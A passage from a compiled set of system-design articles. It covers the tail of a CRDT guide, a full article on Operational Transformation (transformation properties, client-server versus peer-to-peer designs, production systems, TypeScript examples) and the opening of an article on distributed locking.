- Tombstone GC with grace period
- Compaction strategies (Eg-walker approach)

### 2. Assuming Strong Consistency

**The mistake**: Building features that assume immediate consistency.

**Example**: "Undo" feature that undoes "last operation"—fails with concurrent edits because "last" is ambiguous.

**Solutions:**

- Design for concurrent operations from the start
- Use causal consistency, not wall-clock ordering
- Undo should undo "my last operation," not "the last operation"

### 3. Clock Skew with LWW

**The mistake**: Using wall clocks for LWW timestamps.

**Example**: Server with clock 5 seconds ahead always wins conflicts, even against more recent actual edits.

**Solutions:**

- Use Lamport timestamps or vector clocks
- If wall clocks required, use hybrid logical clocks (HLC)

### 4. Large Set Operations

**The mistake**: Using OR-Set for large, frequently-modified collections.

**Example (Riak)**: OR-Sets >500KB have significant performance issues—each element carries metadata.

**Solutions:**

- Decompose into multiple smaller sets
- Use specialized data structures (CRDTs for counters, not sets, when counting)
- Consider application-level sharding

### 5. Ignoring Merge Complexity

**The mistake**: Assuming merge is always fast.

**Example**: State-based CRDT with O(n²) merge. Works fine with 100 elements, falls over with 10,000.

**Solutions:**

- Analyze merge complexity during design
- Use delta-state to reduce merge frequency
- Profile with realistic data sizes

## Implementation Guide

### Starting Point Decision

![Diagram](./diagram-4.svg)

### Library Recommendations

| Library               | Language | Best For                  | Maturity                            |
| --------------------- | -------- | ------------------------- | ----------------------------------- |
| Yjs                   | JS/TS    | Collaborative editing     | Production (900k+ weekly downloads) |
| Automerge             | JS/Rust  | Local-first apps          | Production                          |
| Loro                  | Rust/JS  | Rich text, moveable trees | Production                          |
| Diamond Types         | Rust     | High-performance text     | Production                          |
| Akka Distributed Data | JVM      | Actor-based systems       | Production                          |
| riak_dt               | Erlang   | Key-value stores          | Production                          |

### Building Custom: Checklist

Only build custom when existing libraries genuinely don't fit:

- [ ] Define merge semantics precisely before coding
- [ ] Prove commutativity/associativity/idempotence mathematically
- [ ] Handle clock skew (use logical clocks)
- [ ] Plan garbage collection strategy upfront
- [ ] Test with network partition simulation (e.g., Jepsen)
- [ ] Test with artificial latency injection
- [ ] Benchmark with realistic data sizes
- [ ] Consider formal verification (TLA+, Isabelle)

## Conclusion

CRDTs provide a mathematically rigorous solution to distributed collaboration. The semilattice properties—commutative, associative, idempotent merge—guarantee convergence without coordination.

**Key decisions:**

1. **State vs operation vs delta**: Trade delivery complexity against message size
2. **Data structure selection**: Match CRDT type to application semantics (counters, sets, sequences)
3. **Build vs buy**: Use existing libraries unless you have exceptional requirements and CRDT expertise

**The ecosystem is mature**: Yjs, Automerge, and Loro are production-ready. Recent algorithms (Fugue, Eg-walker) solve longstanding problems like interleaving and state growth.

**Start simple**: LWW-Register and OR-Set cover most use cases. Graduate to sequence CRDTs only when building collaborative text editing.

## Appendix

### Prerequisites

- Distributed systems fundamentals (network partitions, consistency models)
- CAP theorem and eventual consistency
- Basic understanding of partial orders and lattice theory helpful but not required

### Terminology

| Term                  | Definition                                                                                    |
| --------------------- | --------------------------------------------------------------------------------------------- |
| **CvRDT**             | Convergent (state-based) CRDT                                                                 |
| **CmRDT**             | Commutative (operation-based) CRDT                                                            |
| **Tombstone**         | Marker indicating deleted element; must persist for convergence                               |
| **Vector clock**      | Logical clock tracking causality across multiple nodes                                        |
| **Lamport timestamp** | Simple logical clock; partial ordering only                                                   |
| **Join-semilattice**  | Set with a join (merge) operation that is commutative, associative, idempotent                |
| **SEC**               | Strong Eventual Consistency—replicas converge to identical state after receiving same updates |
| **OT**                | Operational Transformation—alternative approach requiring central server                      |

### Summary

- CRDTs guarantee convergence through **join-semilattice properties**: merge must be commutative, associative, and idempotent
- **State-based** CRDTs tolerate unreliable networks but transfer full state; **operation-based** require reliable causal delivery but send small messages; **delta-state** is the practical hybrid
- **OR-Set** is the most practical set CRDT; **Fugue** and **Eg-walker** are state-of-the-art for text editing
- Production systems (Figma, Yjs, Automerge, Riak) all use hybrid approaches optimized for their use cases
- **Garbage collection** is the primary operational challenge—plan tombstone strategy from the start
- **Use existing libraries** (Yjs, Automerge, Loro) unless requirements are exceptional

### References

**Foundational Papers:**

- [A Comprehensive Study of Convergent and Commutative Replicated Data Types](https://inria.hal.science/inria-00555588/document) - Shapiro et al., INRIA 2011. The definitive CRDT reference.
- [Conflict-free Replicated Data Types (SSS 2011)](https://link.springer.com/chapter/10.1007/978-3-642-24550-3_29) - Shapiro et al. Conference paper version.
- [Delta State Replicated Data Types](https://arxiv.org/abs/1603.01529) - Almeida et al. Delta-state CRDT formalization.
- [Pure Operation-Based Replicated Data Types](https://arxiv.org/abs/1710.04469) - Baquero & Shoker. Pure op-based CRDTs.

**Text Editing:**

- [The Art of the Fugue: Minimizing Interleaving in Collaborative Text Editing](https://arxiv.org/pdf/2305.00583) - Gentle et al., 2023. Fugue algorithm.
- [Collaborative Text Editing with Eg-walker](https://arxiv.org/abs/2409.14252) - Gentle & Kleppmann, EuroSys 2025. State-of-the-art performance.
- [Peritext: A CRDT for Rich Text](https://www.inkandswitch.com/peritext/) - Litt et al. Rich text formatting in CRDTs.

**Production Implementations:**

- [How Figma's Multiplayer Technology Works](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/) - Figma Engineering Blog.
- [Yjs Documentation](https://docs.yjs.dev/) - Yjs official docs.
- [Automerge](https://automerge.org/) - Automerge project site.
- [Riak Data Types](https://docs.riak.com/riak/kv/2.2.3/learn/concepts/crdts/index.html) - Riak CRDT documentation.
- [Loro](https://loro.dev/) - Loro CRDT library.

**Additional Resources:**

- [crdt.tech](https://crdt.tech/) - Official CRDT resources, papers, and implementations list.
- [Local-First Software](https://www.inkandswitch.com/local-first/) - Ink & Switch essay on local-first architecture.
- [CRDT Glossary](https://crdt.tech/glossary) - Standard terminology definitions.

---

## Operational Transformation

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/operational-transformation
**Category:** System Design / Core Distributed Patterns
**Description:** Deep-dive into Operational Transformation (OT): the algorithm powering Google Docs, with its design variants, correctness properties, and production trade-offs.OT enables real-time collaborative editing by transforming concurrent operations so that all clients converge to the same document state. Despite being the foundation of nearly every production collaborative editor since 1995, OT has a troubled academic history—most published algorithms were later proven incorrect. This article covers why OT is hard, which approaches actually work, and how production systems sidestep the theoretical pitfalls.

# Operational Transformation

Deep-dive into Operational Transformation (OT): the algorithm powering Google Docs, with its design variants, correctness properties, and production trade-offs.

OT enables real-time collaborative editing by transforming concurrent operations so that all clients converge to the same document state. Despite being the foundation of nearly every production collaborative editor since 1995, OT has a troubled academic history—most published algorithms were later proven incorrect. This article covers why OT is hard, which approaches actually work, and how production systems sidestep the theoretical pitfalls.

<figure>

![OT core flow: concurrent operations are transformed against each other to preserve intent while achieving convergence.](./ot-core-flow-concurrent-operations-are-transformed-against-each-other-to-preserv.svg)

<figcaption>OT core flow: concurrent operations are transformed against each other to preserve intent while achieving convergence.</figcaption>
</figure>

## Abstract

OT solves the problem of concurrent edits in collaborative systems through a deceptively simple idea: when operations conflict, transform them so they can both apply correctly. The core mental model:

- **Operations** (insert, delete) carry position information that becomes stale when concurrent edits occur
- **Transformation functions** adjust an operation's position based on another operation that happened concurrently
- **TP1** (convergence): applying O1 then T(O2,O1) must equal applying O2 then T(O1,O2)—both paths reach the same state
- **TP2** (commutativity): transforming O3 against different orderings of O1,O2 must yield the same result—this property is notoriously hard to satisfy and most published algorithms fail it
- **Production systems avoid TP2** by using a central server to impose a canonical operation order, making the math tractable at the cost of requiring server round-trips

The key insight: practical OT is not distributed. Google Docs, Google Wave, and nearly all production systems use client-server architecture where the server decides operation order, eliminating the need for TP2 satisfaction.

## The Problem

### Why Naive Solutions Fail

**Approach 1: Last-write-wins**

Two users edit "hello" concurrently:

- User A inserts "x" at position 0 → "xhello"
- User B deletes character at position 4 → "hell"

With last-write-wins, one edit is lost. Collaborative editors cannot discard user intent.

**Approach 2: Locking**

Lock the document (or region) during edits. Users see "Document locked by User A" and must wait.

Fails because: latency makes locking unusable. With 100ms round-trip, a user typing 5 characters/second would spend most of their time waiting for locks. Google Docs reports 40+ concurrent editors on popular documents—locking would serialize all edits.

**Approach 3: Apply operations as-received**

User A and B both start with "abc":

- A: Insert 'x' at position 0 → sends Ins(0,'x')
- B: Delete at position 2 → sends Del(2)

If B receives A's insert first, B's document becomes "xabc". Then B's own Del(2) executes, deleting 'a' instead of 'c'. Result: "xbc" for B, "xab" for A. **Divergence.**

### The Core Challenge

The fundamental tension: **preserving user intent while achieving convergence across all replicas**.

Each operation encodes intent relative to a specific document state. When operations are concurrent (neither causally depends on the other), their positions become meaningless without transformation. OT exists to adjust operations so they execute their intended effect regardless of the order they're applied.

## Pattern Overview

### Core Mechanism

OT works by defining **transformation functions** that take two concurrent operations and produce adjusted versions:

```
T(O1, O2) → O1'  // O1 transformed against O2
T(O2, O1) → O2'  // O2 transformed against O1
```

The transformed operations are designed so that:

- Starting from state S
- Applying O1 then O2' yields the same state as
- Applying O2 then O1'

For string operations, transformation typically adjusts positions:

```typescript
// Transform insert against insert
function transformInsertInsert(
  op1: { pos: number; char: string },
  op2: { pos: number; char: string },
): { pos: number; char: string } {
  if (op1.pos < op2.pos) {
    return op1 // No adjustment needed
  } else if (op1.pos > op2.pos) {
    return { ...op1, pos: op1.pos + 1 } // Shift right
  } else {
    // Tie-breaking: use site ID or timestamp
    // Both insert at same position
    return { ...op1, pos: op1.pos + 1 } // Arbitrary but consistent
  }
}

// Transform delete against insert
function transformDeleteInsert(del: { pos: number }, ins: { pos: number; char: string }): { pos: number } {
  if (del.pos < ins.pos) {
    return del
  } else {
    return { pos: del.pos + 1 }
  }
}
```

### Key Invariants

1. **Convergence (TP1)**: All sites reach the same document state after applying all operations, regardless of arrival order
2. **Causality preservation**: Operations are applied respecting their causal dependencies (Lamport's happened-before)
3. **Intention preservation**: The effect of an operation matches what the user intended, even after transformation

### Failure Modes

| Failure             | Impact                                   | Mitigation                                              |
| ------------------- | ---------------------------------------- | ------------------------------------------------------- |
| TP1 violation       | Documents diverge permanently            | Formal verification of transformation functions         |
| TP2 violation       | Divergence with 3+ concurrent operations | Use server-ordered architecture (avoid TP2 requirement) |
| Causality violation | Operations apply out of order            | Vector clocks or server-assigned sequence numbers       |
| Transformation bugs | Silent corruption, divergence            | Checksums, periodic reconciliation                      |

## Design Paths

### Path 1: Client-Server OT (Jupiter/Wave Model)

**When to choose this path:**

- Network connectivity is reliable
- Latency tolerance allows server round-trips
- Simplicity is prioritized over offline capability
- Team wants proven, production-tested approach

**How it works:**

The server maintains a single canonical operation history. Clients send operations to the server, which:

1. Transforms incoming operations against any operations the client hasn't seen
2. Assigns a sequence number
3. Broadcasts the transformed operation to all clients

Clients maintain three states:

- **Server state**: Last acknowledged server revision
- **Pending operations**: Sent to server, awaiting acknowledgment
- **Local operations**: Not yet sent (buffered during server round-trip)

<figure>

![Client-server OT: server assigns canonical ordering, clients transform against operations they haven't seen.](./client-server-ot-server-assigns-canonical-ordering-clients-transform-against-ope.svg)

<figcaption>Client-server OT: server assigns canonical ordering, clients transform against operations they haven't seen.</figcaption>
</figure>

**Critical design choice**: Clients must wait for acknowledgment before sending the next operation batch. Google Wave enforced this strictly—during the wait, clients buffer local operations and send them in bulk after ACK.

**Why this avoids TP2:**

TP2 is required when operations can be transformed along different paths (different orderings of concurrent operations). With a central server:

- The server decides the canonical order
- All transformations follow a single path
- TP2 never comes into play

**Trade-offs vs other paths:**

| Aspect                    | Client-Server                  | Peer-to-Peer            |
| ------------------------- | ------------------------------ | ----------------------- |
| TP2 requirement           | Not needed                     | Required                |
| Correctness proofs        | Straightforward                | Notoriously difficult   |
| Server dependency         | Single point of failure        | No central dependency   |
| Latency                   | Round-trip per operation batch | Direct client-to-client |
| Offline support           | Limited (buffer operations)    | Native                  |
| Implementation complexity | Moderate                       | Very high               |

**Real-world example:**

Google Docs uses client-server OT derived from the Jupiter/Wave codebase. According to Google's engineering blog, every character change is saved as an event in a revision log. The document is rendered by replaying the log from the start.

Joseph Gentle (ShareJS author, ex-Google Wave): "Whatever the bugs are, I don't think they were ever fixed in the opensource [Wave] version. It's all just too complicated... You're right about OT—it gets crazy complicated if you implement it in a distributed fashion. But implementing it in a centralized fashion is actually not so bad."

### Path 2: Peer-to-Peer OT (adOPTed, GOTO)

**When to choose this path:**

- Offline-first requirement is critical
- No server infrastructure available
- Academic research context
- Willing to accept significant complexity

**How it works:**

Each site maintains its own operation history and transforms incoming operations against local history. Without a central server, sites can receive operations in different orders, requiring TP2 satisfaction.

The adOPTed algorithm (Ressel et al. 1996) introduced an N-dimensional interaction graph to track all valid transformation paths. Each operation is placed in this graph based on state vectors, and transformations follow edges to find equivalent operations.

**The TP2 problem:**

For three concurrent operations O1, O2, O3, TP2 requires:

```
T(O3, O1 ∘ T(O2, O1)) ≡ T(O3, O2 ∘ T(O1, O2))
```

Meaning: transforming O3 past O1-then-O2' must equal transforming O3 past O2-then-O1'.

**Why it fails in practice:**

Randolph et al. (2013) proved formally: "There is no IT function, based on classical parameters of delete and insert operations, which satisfies both TP1 and TP2."

Using controller synthesis techniques, they showed that position and character parameters are necessary but not sufficient. Every published TP2-claiming algorithm was subsequently shown to have counterexamples:

| Algorithm | Year | TP2 Claim        | Status              |
| --------- | ---- | ---------------- | ------------------- |
| dOPT      | 1989 | Implied          | Disproven           |
| adOPTed   | 1996 | Asserted         | Disproven           |
| SOCT2     | 1998 | "Proven"         | Disproven           |
| SDT       | 2002 | Claimed          | Disproven           |
| IMOR      | 2003 | Machine-verified | Invalid assumptions |

Raph Levien: "For a decade or so, TP2 was something of a philosopher's stone, with several alchemists of OT claiming that they had found a set of transforms satisfying TP2, only for counterexamples to emerge later."

**Trade-offs:**

- ✅ No server dependency
- ✅ Offline operation is native
- ✅ Lower latency (direct peer communication)
- ❌ No production-proven correct implementation exists
- ❌ Extreme implementation complexity
- ❌ Debugging distributed state divergence is brutal

**Real-world example:**

Google Wave attempted federated (peer-to-peer between servers) OT. From Joseph Gentle: "We got it working, kinda, but it was complex and buggy. We ended up with a scheme where every wave would arrange a tree of wave servers... But it never really worked."

Wave was eventually shut down; its federation protocol remains unproven in production.

### Path 3: Tombstone Transformation Functions (TTF)

**When to choose this path:**

- Need provably correct transformation functions
- Can tolerate memory overhead
- Building a new implementation from scratch

**How it works:**

TTF (Oster et al. 2006) sidesteps the TP2 impossibility by changing the data model. Instead of a string, the document is a sequence of (character, visible) pairs. Deletes set visible=false but retain the character as a tombstone.

```typescript
interface TombstoneChar {
  char: string
  visible: boolean
  id: UniqueId // For ordering
}

type Document = TombstoneChar[]

function deleteAt(doc: Document, pos: number): Document {
  let visibleCount = 0
  for (let i = 0; i < doc.length; i++) {
    if (doc[i].visible) {
      if (visibleCount === pos) {
        doc[i].visible = false
        return doc
      }
      visibleCount++
    }
  }
  return doc
}
```

**Why this satisfies TP2:**

With tombstones, positions are stable. A deleted character still occupies its logical position, so concurrent operations don't shift each other's targets unpredictably. The paper includes a theorem prover verification that TTF satisfies both TP1 and TP2.

**Trade-offs:**

- ✅ Provably correct (machine-verified)
- ✅ Simpler transformation logic
- ❌ Unbounded memory growth (tombstones accumulate)
- ❌ Need garbage collection strategy
- ❌ Operations may reference expired tombstones

**Garbage collection challenge:**

Tombstones can be removed only when all sites have seen all operations that reference them. This requires distributed garbage collection—itself a hard problem. Production systems typically use periodic snapshots with tombstone truncation, accepting that very late operations may fail.

### Path 4: Context-Based OT (COT)

**When to choose this path:**

- Need undo/redo support
- Want to avoid TP2 at the function level
- Building a distributed system with known operation context

**How it works:**

COT (Sun & Sun 2009) replaces history buffers with **context vectors** that capture the exact document state where an operation was created. Instead of transforming operations pairwise, COT transforms based on context differences.

The key insight: TP2 is required because operations can be transformed along different paths. If you track the exact context (which operations have been applied), you can always reconstruct the correct transformation path.

**Advantages:**

- Supports undo/redo of any operation at any time
- Does NOT require TP2 at the transformation function level
- Transformation functions only need TP1
- Proven correct for specific operation sets

**Real-world implementations:**

COT powers several academic and commercial systems: CoMaya (3D modeling), CoWord (Microsoft Word), CodoxWord, and IBM OpenCoWeb.

**Trade-offs:**

- ✅ Avoids TP2 requirement through context tracking
- ✅ Native undo/redo support
- ✅ Formally verified for specific operations
- ❌ Context vectors grow with operation count
- ❌ More complex than client-server approach
- ❌ Less production exposure than Jupiter-derived systems

### Decision Framework

<figure>

![Decision tree for OT variant selection. Client-server dominates production use.](./decision-tree-for-ot-variant-selection-client-server-dominates-production-use.svg)

<figcaption>Decision tree for OT variant selection. Client-server dominates production use.</figcaption>
</figure>

## Production Implementations

### Google Docs

**Context:** World's most widely used collaborative editor, 40+ concurrent editors on popular documents.

**Implementation choices:**

- Architecture: Client-server (Jupiter-derived)
- Transport: WebSocket with operation batching
- Persistence: Event-sourced revision log

**Architecture:**

Each document stores a revision log of operations. The visible document is the result of replaying all operations from the initial state. This enables:

- Revision history ("See previous versions")
- Conflict-free persistence (append-only log)
- Recovery from any point in time

**Specific details:**

- Operations use a streaming format: Retain(n), Insert(chars), Delete(n)
- Attributes (bold, font) are separate operations on ranges
- Checkpoints created periodically to avoid replaying full history

**What worked:**

- Simplicity of client-server model enabled rapid iteration
- Operation batching amortizes round-trip cost
- Event sourcing simplified persistence and history

**What was hard:**

- Rich text requires tree-structured operations (paragraphs, lists, tables)
- Cursor/selection state must be transformed alongside content
- Presence indicators (who's editing where) add additional sync complexity

**Source:** Google Drive Blog (2010), Google Wave Whitepapers

### Apache Wave (Open Source)

**Context:** Open-sourced Google Wave codebase, reference implementation for Wave protocol.

**Implementation choices:**

- Architecture: Client-server with federation attempt
- Protocol: Wave Federation Protocol (XMPP-based)
- Operation types: Document mutations, wavelet operations

**Architecture:**

Wave operations are hierarchical:

- **Wavelet**: Container for participants and documents
- **Document**: Rich text with elements and annotations
- **Operations**: Retain, InsertCharacters, DeleteCharacters, InsertElement, etc.

**Specific details from whitepaper:**

- Every character, start tag, or end tag is an "item"
- Gaps between items are "positions"
- Operations compose: B∙A satisfies (B∙A)(d) = B(A(d))
- Clients must wait for ACK before sending next batch

**What worked:**

- Document model handles rich text well
- Composition of operations simplifies some transformations
- Open protocol enabled third-party clients

**What was hard:**

- Federation never achieved production stability
- Complexity overwhelmed both users and developers
- Performance issues with large documents

**Source:** Apache Wave Whitepapers, Joseph Gentle retrospectives

### CKEditor 5

**Context:** Commercial rich-text editor with real-time collaboration, 4+ years R&D.

**Implementation choices:**

- Architecture: Client-server
- Key innovation: OT for tree-structured documents
- Transport: WebSocket

**The tree challenge:**

Rich text isn't a string—it's a tree (paragraphs containing spans containing text). Operations like "split paragraph" or "merge cells" don't map to simple insert/delete. CKEditor claims to be the first production system to solve OT for trees.

**Specific details:**

- Operations can "break" during transformation (one op becomes multiple)
- Selective undo: users only undo their own changes
- Custom transformation functions for 50+ operation types

**What worked:**

- Tree model handles complex formatting (tables, lists, images)
- Selective undo improves UX in multi-user scenarios
- Years of investment produced stable implementation

**What was hard:**

- Operation breaking adds significant complexity
- Testing all transformation combinations is combinatorial
- Performance optimization for large documents

**Source:** CKEditor Blog (2020), "Lessons Learned from Creating a Rich-Text Editor with Real-Time Collaboration"

### Implementation Comparison

| Aspect         | Google Docs             | Apache Wave                  | CKEditor 5                  |
| -------------- | ----------------------- | ---------------------------- | --------------------------- |
| Architecture   | Client-server           | Client-server + federation   | Client-server               |
| Document model | Streaming ops           | Hierarchical wavelets        | Tree-structured             |
| Offline        | Limited buffer          | Limited buffer               | Planned sync queue          |
| Rich text      | Yes (ops on ranges)     | Yes (elements + annotations) | Yes (native tree ops)       |
| Undo model     | Global history          | Global history               | Selective (user's ops only) |
| Scale          | Proven at massive scale | Abandoned                    | Production-proven           |

## Implementation Guide

### Starting Point Decision

<figure>

![Implementation decision tree. Building OT from scratch is rarely justified.](./implementation-decision-tree-building-ot-from-scratch-is-rarely-justified.svg)

<figcaption>Implementation decision tree. Building OT from scratch is rarely justified.</figcaption>
</figure>

### Library Options

| Library         | Language   | Architecture  | Maturity   | Best For            |
| --------------- | ---------- | ------------- | ---------- | ------------------- |
| ShareDB         | Node.js    | Client-server | Production | JSON documents      |
| ot.js           | JavaScript | Client-server | Production | Plain text          |
| Yjs             | JavaScript | P2P (CRDT)    | Production | Offline-first       |
| CKEditor 5      | JavaScript | Client-server | Production | Rich text           |
| Quill + y-quill | JavaScript | P2P (CRDT)    | Production | Rich text + offline |

### Building Custom (Rare)

**When to build custom:**

- Document model doesn't fit existing libraries
- Need specific consistency guarantees
- Performance requirements exceed library capabilities
- Regulatory requirements prevent third-party code

**Implementation checklist:**

- [ ] Choose architecture: client-server strongly recommended
- [ ] Define operation types (keep minimal)
- [ ] Implement TP1-satisfying transformation functions
- [ ] Add server sequencing to avoid TP2
- [ ] Implement client state machine (pending, sent, acknowledged)
- [ ] Add conflict detection with checksums
- [ ] Build reconciliation for detected divergence
- [ ] Test with artificial latency and packet loss
- [ ] Fuzz test transformation functions exhaustively

Joseph Gentle's estimate: "Wave took 2 years to write and if we rewrote it today, it would take almost as long."

## Common Pitfalls

### 1. Attempting Peer-to-Peer OT

**The mistake:** Implementing distributed OT because it seems "cleaner" than server dependency.

**Why it fails:** Every published P2P OT algorithm has been proven incorrect. The TP2 property that P2P requires is likely impossible to satisfy with standard string operations.

**Example:** A startup builds P2P OT for "serverless collaboration." After 6 months, users report documents diverging. Debugging reveals the transformation functions fail with 3+ concurrent editors—a case the test suite never covered.

**Solution:** Use client-server architecture. The server round-trip cost is far lower than the correctness risk of P2P.

### 2. Ignoring Operation Composition

**The mistake:** Treating operations as independent units instead of composable.

**Why it matters:** Client sends Op1, then Op2 before receiving Op1's ACK. Server receives both, but Op2 was created assuming Op1 applied. If server processes them as independent, transformation fails.

**Solution:** Wave protocol requires clients to wait for ACK, OR clients must track pending operations and transform new operations against pending ones before sending.

```typescript
// Client state machine
interface ClientState {
  serverRevision: number
  pending: Operation | null // Sent, awaiting ACK
  buffer: Operation[] // Not yet sent
}

function onLocalEdit(state: ClientState, op: Operation): ClientState {
  if (state.pending) {
    // Transform against pending before buffering
    const transformed = transform(op, state.pending)
    return { ...state, buffer: [...state.buffer, transformed] }
  } else {
    // Send immediately
    send(op)
    return { ...state, pending: op }
  }
}
```

### 3. Unbounded History Growth

**The mistake:** Storing all operations forever for "history" feature.

**Why it fails:** Document with 1 year of active editing accumulates millions of operations. Loading requires replaying all of them.

**Example:** Notion-like app stores every keystroke. After 6 months, loading a busy document takes 30 seconds as the client replays 500K operations.

**Solutions:**

- Periodic snapshots: Store document state at intervals, only replay recent operations
- Checkpoint compaction: Combine operations into single state updates
- Lazy loading: Load recent ops, fetch history on demand

### 4. Testing Only Happy Path

**The mistake:** Testing with low latency, no packet loss, and 2 concurrent users.

**Why it fails:** OT bugs emerge with high concurrency, reordered packets, and edge-case timing. The "dOPT puzzle" only manifests with specific 3-user concurrent patterns.

**Solution:**

- Fuzz testing: Random operation sequences with random timing
- Chaos engineering: Inject latency, reordering, duplication
- Invariant checking: Assert convergence after every operation sequence
- Property-based testing: Generate operation sequences, verify TP1 holds

```typescript
// Property-based test for TP1
test("TP1: transformation paths converge", () => {
  fc.assert(
    fc.property(arbitraryOperation(), arbitraryOperation(), arbitraryDocument(), (op1, op2, doc) => {
      const path1 = apply(apply(doc, op1), transform(op2, op1))
      const path2 = apply(apply(doc, op2), transform(op1, op2))
      expect(path1).toEqual(path2)
    }),
  )
})
```

### 5. Assuming Transform Functions Are Symmetric

**The mistake:** Assuming T(op1, op2) and T(op2, op1) are computed the same way.

**Why it fails:** Transformation depends on which operation is being adjusted. Insert-vs-insert with same position needs tie-breaking; the "winner" doesn't transform, the "loser" shifts.

**Example:** Two users insert at position 5. Without consistent tie-breaking, one client computes T(A,B)=A (A wins), other computes T(A,B)=shift(A) (B wins). Divergence.

**Solution:** Always use consistent tie-breaking: site IDs, timestamps, or operation IDs. The rule must be deterministic and known to all clients.

## Conclusion

OT solves collaborative editing through operation transformation, but its apparent simplicity hides decades of failed correctness proofs. The practical takeaway: **use client-server architecture**. It sidesteps TP2, enables straightforward implementation, and is the only approach proven at scale.

For new projects, prefer existing libraries (ShareDB, CKEditor, or CRDT-based alternatives like Yjs) over custom implementations. If building custom, invest heavily in property-based testing and invariant checking—the bugs that matter only emerge with specific concurrent operation sequences that manual testing will miss.

OT remains the foundation of Google Docs and most production collaborative editors, but its dominance is being challenged by CRDTs for offline-first applications. The choice depends on your consistency requirements, offline needs, and tolerance for implementation complexity.

## Appendix

### Prerequisites

- Understanding of distributed systems consistency models
- Familiarity with event sourcing concepts
- Basic knowledge of Lamport timestamps and causal ordering
- For CRDTs comparison: see Martin Kleppmann's ["CRDTs: The Hard Parts"](https://martin.kleppmann.com/2020/07/06/crdt-hard-parts-hydra.html)

### Terminology

- **OT (Operational Transformation)**: Algorithm that transforms concurrent operations to achieve convergence
- **TP1 (Transformation Property 1)**: Convergence property—different transformation paths yield same result
- **TP2 (Transformation Property 2)**: Commutativity property—transformation is independent of operation ordering
- **Convergence**: All replicas reach identical state after applying all operations
- **Intent preservation**: Transformed operation achieves user's original goal
- **Tombstone**: Marker for deleted content, retained for transformation stability
- **COT (Context-based OT)**: Variant tracking operation context for transformation
- **TTF (Tombstone Transformation Functions)**: Provably correct transformation using tombstones

### Summary

- OT transforms concurrent operations by adjusting positions based on what other operations have done
- **TP1 is mandatory**: transformation paths must converge to the same state
- **TP2 is impractical**: no standard string operations satisfy it; use client-server to avoid requiring it
- Production systems (Google Docs, CKEditor) all use client-server architecture for this reason
- Libraries (ShareDB, ot.js) are strongly preferred over custom implementations
- Testing must include fuzz testing and property-based tests—manual testing misses the bugs that matter

### References

- Ellis, C.A., Gibbs, S.J. (1989). ["Concurrency Control in Groupware Systems"](https://dl.acm.org/doi/10.1145/67544.66963) - ACM SIGMOD'89. Original dOPT algorithm.
- Nichols, D.A. et al. (1995). ["High-latency, low-bandwidth windowing in the Jupiter collaboration system"](https://dl.acm.org/doi/10.1145/215585.215706) - ACM UIST. Foundation for all practical OT.
- Ressel, M. et al. (1996). ["An Integrating, Transformation-Oriented Approach to Concurrency Control and Undo"](https://dl.acm.org/doi/10.1145/240080.240305) - ACM CSCW'96. Defined TP1/TP2.
- Sun, C., Ellis, C. (1998). ["Operational transformation in real-time group editors"](https://dl.acm.org/doi/10.1145/289444.289469) - ACM CSCW'98. GOT/GOTO algorithms.
- Oster, G. et al. (2006). ["Tombstone Transformation Functions for Ensuring Consistency"](https://hal.science/inria-00109039) - CollaborateCom. First provably correct OT.
- Sun, D., Sun, C. (2009). ["Context-Based Operational Transformation"](https://ieeexplore.ieee.org/document/4668339/) - IEEE TPDS. COT algorithm.
- Randolph, A. et al. (2013). ["On Consistency of Operational Transformation Approach"](https://arxiv.org/abs/1302.3292) - arXiv. Impossibility proof for TP2.
- Levien, R. (2016). ["Towards a unified theory of Operational Transformation and CRDT"](https://medium.com/@raphlinus/towards-a-unified-theory-of-operational-transformation-and-crdt-70485876f72f) - Medium. Excellent synthesis.
- [Apache Wave OT Whitepaper](https://svn.apache.org/repos/asf/incubator/wave/whitepapers/operational-transform/operational-transform.html) - Detailed protocol specification.
- [Google Drive Blog](https://drive.googleblog.com/2010/09/whats-different-about-new-google-docs.html) - Google Docs architecture overview.
- [CKEditor Blog](https://ckeditor.com/blog/lessons-learned-from-creating-a-rich-text-editor-with-real-time-collaboration/) - Production lessons for rich text OT.
- [ShareDB GitHub](https://github.com/share/sharedb) - Production-ready OT library.

---

## Distributed Locking

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/distributed-locking
**Category:** System Design / Core Distributed Patterns
**Description:** Distributed locks coordinate access to shared resources across multiple processes or nodes. Unlike single-process mutexes, they must handle network partitions, clock drift, process pauses, and partial failures—all while providing mutual exclusion guarantees that range from “best effort” to “correctness critical.”This article covers lock implementations (Redis, ZooKeeper, etcd, Chubby), the Redlock controversy, fencing tokens, lease-based expiration, and when to avoid locks entirely.

# Distributed Locking

Distributed locks coordinate access to shared resources across multiple processes or nodes. Unlike single-process mutexes, they must handle network partitions, clock drift, process pauses, and partial failures—all while providing mutual exclusion guarantees that range from "best effort" to "correctness critical."

This article covers lock implementations (Redis, ZooKeeper, etcd, Chubby), the Redlock controversy, fencing tokens, lease-based expiration, and when to avoid locks entirely.

<figure>

![Distributed locks must handle failures that single-process locks never face—network partitions, clock drift, and process pauses can all cause multiple clients to believe they hold the same lock simultaneously.](./distributed-locks-must-handle-failures-that-single-process-locks-never-face-netw.svg)

<figcaption>Distributed locks must handle failures that single-process locks never face—network partitions, clock drift, and process pauses can all cause multiple clients to believe they hold the same lock simultaneously.</figcaption>
</figure>

## Abstract

Distributed locking is fundamentally harder than it appears. The safety property—at most one client holds the lock at any time—requires either **consensus protocols** (ZooKeeper, etcd) or careful timing assumptions that can fail under realistic conditions (Redlock).

**Core mental model:**

- **Efficiency locks**: Prevent duplicate work. Occasional double-execution is tolerable. Redis single-node or Redlock works.
- **Correctness locks**: Protect invariants. Double-execution corrupts data. Requires consensus + fencing tokens.

**Key insight**: Most lock implementations provide **leases** (auto-expiring locks) rather than indefinite locks. Leases prevent deadlock from crashed clients but introduce the fundamental problem: **what if the lease expires while the client is still working?**

**Fencing tokens** solve this: the lock service issues a monotonically increasing token with each lock grant. The protected resource rejects operations with tokens lower than the highest it has seen. This transforms lease expiration from a safety violation into a detected-and-rejected stale operation.

**Decision framework:**

| Requirement                     | Implementation           | Trade-off                      |
| ------------------------------- | ------------------------ | ------------------------------ |
| Best-effort deduplication       | Redis single-node        | Single point of failure        |
| Efficiency with fault tolerance | Redlock (5 nodes)        | No fencing, timing assumptions |
| Correctness critical            | ZooKeeper/etcd + fencing | Operational complexity         |
| Already using PostgreSQL        | Advisory locks           | Limited to single database     |

## The Problem

### Why Naive Solutions Fail

